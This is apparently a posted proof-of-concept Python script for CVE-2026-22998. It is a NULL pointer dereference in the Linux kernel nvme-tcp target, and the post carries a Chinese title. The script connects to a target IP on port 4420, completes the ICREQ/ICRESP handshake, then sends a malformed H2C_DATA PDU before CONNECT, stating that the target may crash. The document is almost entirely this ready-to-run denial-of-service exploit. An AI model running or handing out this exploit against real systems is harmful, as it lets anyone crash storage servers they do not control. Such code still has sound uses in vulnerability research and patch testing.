CVE-2026-22998: Linux kernel nvme-tcp NULL指针解引用漏洞

#!/usr/bin/env python3 """ CVE-2026-22998 PoC - Linux kernel nvme-tcp NULL pointer dereference This PoC demonstrates triggering NULL pointer dereference by sending malformed H2C_DATA PDU immediately after ICREQ/ICRESP handshake. """ import socket import struct def build_icreq_pdu(): """Build ICREQ PDU for TCP handshake""" pdu = bytearray() # PDU header: type=0x00 (ICREQ), flags=0x00, hlen=24, pdo=0 pdu.extend([0x00, 0x00, 24, 0x00]) # PDU specific: IV=16 bytes pdu.extend(b'\x00' * 16) return pdu def build_h2c_data_pdu_with_invalid_tag(): """Build malformed H2C_DATA PDU to trigger NULL pointer dereference Send H2C_DATA PDU immediately without sending CONNECT command. This causes cmd->req.sg and cmd->iov to be NULL when nvmet_tcp_build_pdu_iovec() tries to dereference them. """ pdu = bytearray() # PDU header: type=0x05 (H2C_DATA), flags=0x00, hlen=48, pdo=0 pdu.extend([0x05, 0x00, 48, 0x00]) # Command ID pdu.extend(b'\x01') # Subtype (DataOffset and DataLen) pdu.extend(struct.pack('<Q', 0)) # data_offset pdu.extend(struct.pack('<I', 4096)) # data_len # Transfer tag (invalid tag to trigger bounds check path) pdu.extend(struct.pack('<I', 0xFFFFFFFF)) # Status (should be 0) pdu.extend(struct.pack('<H', 0)) return pdu def trigger_vulnerability(target_ip, target_port=4420): """Connect to NVMe-TCP target and trigger vulnerability""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) print("[*] Connected to target") # Step 1: Send ICREQ to initiate handshake print("[*] Sending ICREQ PDU...") sock.sendall(build_icreq_pdu()) # Step 2: Receive and ignore ICRESP print("[*] Waiting for ICRESP...") resp = sock.recv(1024) if resp and resp[0] == 0x01: print("[*] Received ICRESP, handshake complete") # Step 3: Send malformed H2C_DATA PDU BEFORE CONNECT # This triggers NULL pointer dereference in nvmet_tcp_build_pdu_iovec() print("[*] Sending malformed H2C_DATA PDU (before CONNECT)...") sock.sendall(build_h2c_data_pdu_with_invalid_tag()) print("[*] PoC payload sent. Target may crash (NULL pointer dereference)") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 4420 trigger_vulnerability(target, port)